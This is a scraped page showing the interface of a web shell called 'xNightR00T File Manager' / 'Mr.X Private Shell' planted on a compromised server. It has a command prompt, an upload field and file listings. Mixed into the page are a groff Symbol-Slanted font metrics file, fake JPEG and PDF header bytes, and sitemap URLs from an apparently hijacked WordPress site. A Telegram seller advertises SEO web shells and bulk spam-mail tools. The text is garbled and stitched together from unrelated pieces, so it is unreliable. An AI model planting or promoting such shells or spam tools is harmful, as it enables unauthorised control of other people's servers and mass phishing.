xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
name SS
internalname Symbol-Slanted
special
slant 15.5
spacewidth 223
charset
space	223	0	32	space
---	296,599,15,137,-72,99	3	33	exclam
---	635,627,0,216,-173,99	3	34	universal
---	445,599,15,162,-21,99	3	35	numbersign
---	489,629,0,183,28,99	3	36	existential
---	741,583,32,75,-97,75	3	37	percent
---	692,589,16,103,-18,99	3	38	ampersand
---	391,444,15,109,6,99	3	39	suchthat
---	296,599,170,203,-39,99	3	40	parenleft
---	296,600,170,93,72,93	3	41	parenright
---	445,490,0,105,-76,99	3	42	asteriskmath
---	489,474,0,123,-26,99	3	43	plus
---	223,93,136,10,41,10	3	44	comma
---	489,256,0,117,-24,99	3	45	minus
---	223,85,15,1,-20,1	3	46	period
---	247,575,15,208,55,99	3	47	slash
---	445,610,15,142,-40,99	3	48	zero
---	445,599,0,56,-57,56	3	49	one
---	445,611,0,129,28,99	3	50	two
---	445,611,16,115,-6,99	3	51	three
---	445,610,0,135,-8,99	3	52	four
---	445,610,15,188,14,99	3	53	five
---	445,610,16,193,-37,99	3	54	six
---	445,599,15,190,-101,99	3	55	seven
---	445,611,16,141,-32,99	3	56	eight
---	445,609,15,140,-2,99	3	57	nine
---	247,409,15,89,-31,89	3	58	colon
---	247,409,136,99,17,99	3	59	semicolon
---	489,464,0,171,-37,99	3	60	less
---	489,347,0,147,1,99	3	61	equal
---	489,464,0,108,27,99	3	62	greater
---	395,610,15,172,-113,99	3	63	question
---	489,423,0,158,40,99	3	64	congruent
---	643,599,0,21,47,21	3	65	Alpha
---	594,598,0,101,24,99	3	66	Beta
---	643,599,0,205,58,99	3	67	Chi
---	545,612,0,46,45,46	3	68	Delta
---	544,599,0,194,22,99	3	69	Epsilon
---	679,598,0,132,-55,99	3	70	Phi
---	537,599,0,227,19,99	3	71	Gamma
---	643,599,0,243,15,99	3	72	Eta
---	296,599,0,222,22,99	3	73	Iota
+h	562,614,15,133,-58,99	3	74	theta1
---	643,598,0,185,19,99	3	75	Kappa
---	611,612,0,49,45,49	3	76	Lambda
---	791,599,0,233,22,99	3	77	Mu
---	643,599,7,234,24,99	3	78	Nu
---	643,610,15,154,-62,99	3	79	Omicron
---	684,599,0,213,28,99	3	80	Pi
---	659,610,15,138,-62,99	3	81	Theta
---	495,599,0,200,25,99	3	82	Rho
---	527,599,0,186,45,99	3	83	Sigma
---	544,599,0,229,-109,99	3	84	Tau
---	614,599,0,240,-125,99	3	85	Upsilon
ts	391,445,208,151,-28,99	3	86	sigma1
---	684,612,0,126,20,99	3	87	Omega
---	574,598,0,176,14,99	3	88	Xi
---	708,608,0,227,-138,99	3	89	Psi
---	544,599,0,231,11,99	3	90	Zeta
---	296,599,138,207,16,99	3	91	bracketleft
---	768,426,0,0,-110	3	92	therefore
---	296,599,138,159,64,99	3	93	bracketright
---	586,600,0,60,37,60	3	94	perpendicular
---	445,0,224,0,122	3	95	underscore
---	445,816,0,829,-622,99	3	96	radicalex
*a	562,445,15,146,-34,99	3	97	alpha
*b	489,659,198,139,57,99	3	98	beta
*x	489,445,206,134,98,99	3	99	chi
*d	440,658,16,181,-33,99	3	100	delta
*e	391,447,17,127,1,99	3	101	epsilon
*f	464,596,200,103,-28,99	3	102	phi
*g	366,444,200,252,-42,99	3	103	gamma
*y	537,457,180,68,-50,68	3	104	eta
*i	293,448,16,53,-47,53	3	105	iota
+f	537,444,199,117,-42,99	3	106	phi1
*k	489,447,0,182,-56,99	3	107	kappa
*l	489,658,16,91,29,91	3	108	lambda
*m	513,445,198,70,68,70	3	109	mu
*n	464,451,15,134,-69,99	3	110	nu
*o	489,444,17,87,-36,87	3	111	omicron
*p	489,433,18,160,-8,99	3	112	pi
*h	464,614,16,140,-53,99	3	113	theta
*r	489,444,205,82,69,82	3	114	rho
*s	537,445,19,175,-37,99	3	115	sigma
*t	391,445,16,170,-45,99	3	116	tau
*u	513,451,15,95,-55,95	3	117	upsilon
+p	635,519,15,173,-28,99	3	118	omega1
*w	611,445,16,126,-35,99	3	119	omega
*c	439,681,200,126,-20,99	3	120	xi
*q	611,445,203,198,-91,99	3	121	psi
*z	440,673,200,190,-50,99	3	122	zeta
---	427,599,163,163,-66,99	3	123	braceleft
---	178,599,158,179,41,99	3	124	bar
---	427,599,163,67,31,67	3	125	braceright
---	489,273,0,110,-28,99	3	126	similar
---	552,609,0,208,-84,99	3	161	Upsilon1
---	220,654,0,223,-106,99	3	162	minute
---	489,569,0,206,24,99	3	163	lessequal
---	149,603,11,391,214,99	3	164	fraction
---	635,360,0,107,-41,99	3	165	infinity
---	445,612,172,219,86,99	3	166	florin
---	670,474,23,25,-69,25	3	167	club
---	670,490,32,0,-148	3	168	diamond
---	670,473,29,59,-155,59	3	169	heart
---	670,488,32,0,-82	3	170	spade
---	927,455,13,103,-40,99	3	171	arrowboth
---	878,455,13,87,-47,87	3	172	arrowleft
---	537,810,0,204,-173,99	3	173	arrowup
---	878,455,13,94,-55,94	3	174	arrowright
---	537,790,20,85,-54,85	3	175	arrowdown
---	356,609,0,160,-137,99	3	176	degree
---	489,574,0,154,41,99	3	177	plusminus
---	366,656,0,244,-100,99	3	178	second
---	489,569,0,143,24,99	3	179	greaterequal
---	489,466,0,170,22,99	3	180	multiply
---	635,360,0,82,-40,82	3	181	proportional
---	440,664,18,152,-12,99	3	182	partialdiff
---	409,421,0,95,-68,95	3	183	bullet
---	489,406,0,119,-24,99	3	184	divide
---	489,489,22,148,-1,99	3	185	notequal
---	489,394,0,163,15,99	3	186	equivalence
---	489,351,0,133,-7,99	3	187	approxequal
---	890,85,15,0,-57	3	188	ellipsis
---	537,899,107,92,-166,92	3	189	arrowvertex
---	890,246,0,171,42,99	3	190	arrowhorizex
---	586,560,14,174,10,99	3	191	carriagereturn
---	732,586,16,58,-109,58	3	192	aleph
---	611,659,47,123,24,99	3	193	Ifraktur
---	708,653,13,175,-21,99	3	194	Rfraktur
---	878,510,188,50,-62,50	3	195	weierstrass
---	684,599,15,124,-64,99	3	196	circlemultiply
---	684,601,13,125,-65,99	3	197	circleplus
---	732,640,21,202,12,99	3	198	emptyset
---	684,453,0,80,14,80	3	199	intersection
---	684,438,15,154,-60,99	3	200	union
---	635,418,0,90,32,90	3	201	propersuperset
---	635,418,111,89,67,89	3	202	reflexsuperset
---	635,481,62,159,-37,99	3	203	notsubset
---	635,418,0,159,-37,99	3	204	propersubset
---	635,418,111,159,34,99	3	205	reflexsubset
---	635,417,0,0,-43	3	206	element
---	635,494,52,0,-24	3	207	notelement
---	684,599,0,199,27,99	3	208	angle
---	635,639,17,220,-181,99	3	209	gradient
---	703,596,18,110,-70,99	3	210	registerserif
---	703,601,13,113,-72,99	3	211	copyrightserif
---	792,599,0,205,-119,99	3	212	trademarkserif
---	732,668,90,238,56,99	3	213	product
---	489,816,34,272,-84,99	3	214	radical
---	223,276,0,52,-81,52	3	215	dotmath
---	635,256,0,100,-28,99	3	216	logicalnot
---	537,404,0,32,29,32	3	217	logicaland
---	537,424,0,152,-101,99	3	218	logicalor
---	927,454,18,101,-42,99	3	219	arrowdblboth
---	878,457,13,114,-46,99	3	220	arrowdblleft
---	537,811,0,201,-102,99	3	221	arrowdblup
---	878,452,18,89,-21,89	3	222	arrowdblright
---	537,792,17,152,-53,99	3	223	arrowdbldown
---	440,663,0,129,-71,99	3	224	lozenge
---	293,664,176,229,-48,99	3	225	angleleft
---	703,596,18,110,-70,99	3	226	registersans
---	703,601,13,111,-70,99	3	227	copyrightsans
---	700,599,0,182,-129,99	3	228	trademarksans
---	635,669,96,171,65,99	3	229	summation
---	342,824,261,350,96,99	3	230	parenlefttp
---	342,823,76,46,38,46	3	231	parenleftex
---	342,824,261,47,-63,47	3	232	parenleftbt
---	342,824,71,268,72,99	3	233	bracketlefttp
---	342,823,70,13,72,13	3	234	bracketleftex
---	342,824,71,14,72,14	3	235	bracketleftbt
---	440,824,67,258,-108,99	3	236	bracelefttp
---	440,832,76,96,-76,96	3	237	braceleftmid
---	440,824,62,94,-169,94	3	238	braceleftbt
---	440,832,71,96,-107,96	3	239	braceex
---	293,664,176,102,79,99	3	241	angleright
---	244,815,95,305,63,99	3	242	integral
---	611,820,74,312,-222,99	3	243	integraltp
---	611,868,78,79,-221,79	3	244	integralex
---	611,820,72,64,20,64	3	245	integralbt
---	342,824,261,206,-223,99	3	246	parenrighttp
---	342,823,76,365,-281,99	3	247	parenrightex
---	342,824,261,365,80,99	3	248	parenrightbt
---	342,824,71,285,-199,99	3	249	bracketrighttp
---	342,823,70,285,-200,99	3	250	bracketrightex
---	342,824,71,285,54,99	3	251	bracketrightbt
---	440,824,67,35,-108,35	3	252	bracerighttp
---	440,832,76,127,-105,99	3	253	bracerightmid
---	440,824,62,94,54,94	3	254	bracerightbt

Filemanager

Name Type Size Permission Actions
CB File 6.79 KB 0644
CBI File 9.21 KB 0644
CI File 9.19 KB 0644
CR File 6.6 KB 0644
HB File 7.78 KB 0644
HBI File 10.12 KB 0644
HI File 10.45 KB 0644
HNB File 7.73 KB 0644
HNBI File 10.04 KB 0644
HNI File 10.38 KB 0644
HNR File 8.01 KB 0644
HR File 8.04 KB 0644
NB File 7.16 KB 0644
NBI File 9.78 KB 0644
NI File 9.37 KB 0644
NR File 7.47 KB 0644
PB File 6.89 KB 0644
PBI File 8.86 KB 0644
PI File 8.78 KB 0644
PR File 6.92 KB 0644
S File 5.64 KB 0644
SS File 7.27 KB 0644
TB File 7.56 KB 0644
TBI File 9.33 KB 0644
TI File 9.55 KB 0644
TR File 7.44 KB 0644
symbol.afm File 9.51 KB 0644
symbolsl.afm File 9.19 KB 0644
zapfdr.afm File 9.25 KB 0644
zapfdr.ps File 4.85 KB 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml